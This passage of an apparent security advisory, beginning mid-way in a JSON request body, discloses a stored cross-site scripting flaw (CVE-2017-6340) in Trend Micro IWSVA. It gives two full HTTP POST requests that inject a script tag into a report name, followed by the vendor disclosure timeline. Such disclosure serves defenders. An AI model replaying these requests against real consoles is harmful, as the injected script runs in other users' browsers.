{"action":"add","template":{"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"mail_to":[""],"fail_mail_to":""],"description":"","name":"AuditorsReport,"enable":true,"frequency":0,"scheduled":false,"start_date":1484170920,"runtime":"0:3:12","max_exec_number":0,"period":"1D","from":1484159400,"to":1484245800,"scheduled_time_filter":"0","device_group":"","type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","subject":"","message":"","mail_attach":false,"fail_notice":false,"report_by":0,"report_by_list":{}}}



=============================================================================================================================
Stored Cross Site Scripting (CVE-2017-6340):
=============================================================================================================================
An authenticated, remote attacker can inject a Java script while creating a new report that results in a stored cross-site scripting attack.

#Proof-of-Concept:

1. Log into IWSVA web console with least privilege user ‘Auditor’.
2. Send following POST requests:

Request#1:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 88
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"check_name","name":"TestReport1\<script\>alert(\"Hola Report!\")\</script\>"}

Request#2:

POST /rest/commonlog/report/template HTTP/1.1
Host: 192.168.253.150:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.253.150:1812/report_action.jsp?CSRFGuardToken=EPCB6FAIRAK4393A74A9SYCRKR2C6VZM&mode=edit&tid=19b59380-4a41-4134-81af-f7e2e6ce06d9
Content-Length: 3041
Cookie: JSESSIONID=5F8A705062C1D9C14B0026F8C89D5CC8
Connection: close

{"action":"modify","tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","template":{"tid":"19b59380-4a41-4134-81af-f7e2e6ce06d9","name":"TestReport1\<script\>alert(\"Hola Report!\")\</script\>","description":"","enable":true,"period":"1D","from":-2209096400,"to":-2209096400,"frequency":0,"scheduled":false,"start_date":1481060520,"runtime":"0:0:0","max_exec_number":0,"type":"PDF","list_number":10,"mail_enable":false,"mail_from":"","mail_to":[""],"subject":"","message":"","mail_attach":false,"fail_notice":false,"fail_mail_to":[""],"report_by":0,"report_by_list":{},"reports":{"internet_security":[["top_malware_spyware_detection",10,true,[0]],["top_botnet_detection",10,true,[0]],["top_advanced_threats_detection",10,true,[0]],["top_custom_defense_apt_blocking",10,true,[0]],["c&c_contact_alert_count_by_date",0,true,[0]],["top_c&c_contact_ip_domains",10,true,[0]],["top_users_hosts_detected_by_c&c_contact_alert",10,true,[0]],["top_groups_detected_by_c&c_contact_alert",10,true,[0]],["top_malicious_sites_blocked",10,true,[0]],["top_users_blocked_by_malware_spyware",10,true,[0]],["top_users_blocked_by_malicious_sites",10,true,[0]],["top_groups_blocked_by_malware_spyware",10,true,[0]],["top_groups_blocked_by_malicious_site",10,true,[0]],["top_users_by_bot_net_detection",10,true,[0]],["most_violation_for_http_malware_scan_policy",0,true,[0]],["malicious_sites_blocked_by_date",0,true,[2]],["malware_spyware_detection_by_date",0,true,[2]],["malware_spyware_detection_trend",0,true,[3]]],"internet_access":[["top_applications_visited",10,true,[0]],["top_url_categories_visited",10,true,[0]],["top_sites_visited",10,true,[0]],["top_users_by_requests",10,true,[0]],["top_groups_by_requests",10,true,[0]],["top_url_categories_by_browse_time",10,true,[0]],["top_sites_visited_by_browse_time",10,true,[0]],["top_users_by_browse_time",10,true,[0]],["activity_level_by_days",0,true,[5]]],"bandwidth":[["top_url_categories_by_bandwidth",10,true,[0]],["top_applications_by_bandwidth",10,true,[0]],["top_users_by_bandwidth",10,true,[0]],["top_groups_by_bandwidth",10,true,[0]],["top_sites_by_bandwidth",10,true,[0]],["total_traffic_by_days",0,true,[3]]],"policy_enforcement":[["top_url_categories_blocked",10,true,[0]],["top_applications_blocked",10,true,[0]],["top_users_enforced",10,true,[0]],["top_groups_enforced",10,true,[0]],["top_sites_blocked",10,true,[0]],["top_users_by_http_inspection",10,true,[0]],["most_violation_for_url_filtering_policy",0,true,[0]],["most_violation_for_application_control_policy",0,true,[0]],["most_violation_for_access_quota_control_policy",0,true,[0]],["most_violation_for_applets_and_activex_policy",0,true,[0]],["most_violation_for_http_inspection_policy",0,true,[0]]],"data_security":[["top_dlp_templates_blocked_by_requests",10,true,[2]],["top_blocked_users",10,true,[0]],["top_blocked_groups",10,true,[0]],["most_violation_for_data_loss_prevention_policy",0,true,[0]]],"custom_reports":[]},"last_gen_time":1481103598,"current_exec_time":1,"scheduled_time_filter":"0","device_group":"","last_update_by":"test2"}}

3.Any user visiting 'reports.jsp' and 'show_auditlog.jsp' pages will see the alert.


===================================
#Vulnerability Disclosure Timeline:
===================================

15/02/2017: First email to disclose the vulnerability to the Trend Micro incident response team
20/02/2017: Second email to ask for acknowledgment
23/02/2017: Third email to ask for acknowledgment
25/02/2017  Vendor confirms vulnerabilities stating that the fix is being worked on.
27/02/2017: Mitre assigned CVE-2017-6338, CVE-2017-6339 and CVE-2017-6340 to these vulnerabilities
14/03/2017: Vendor confirms that the final release date would be disclosed soon.
28/03/2017: Vendor released security advisory: https://success.trendmicro.com/solution/1116960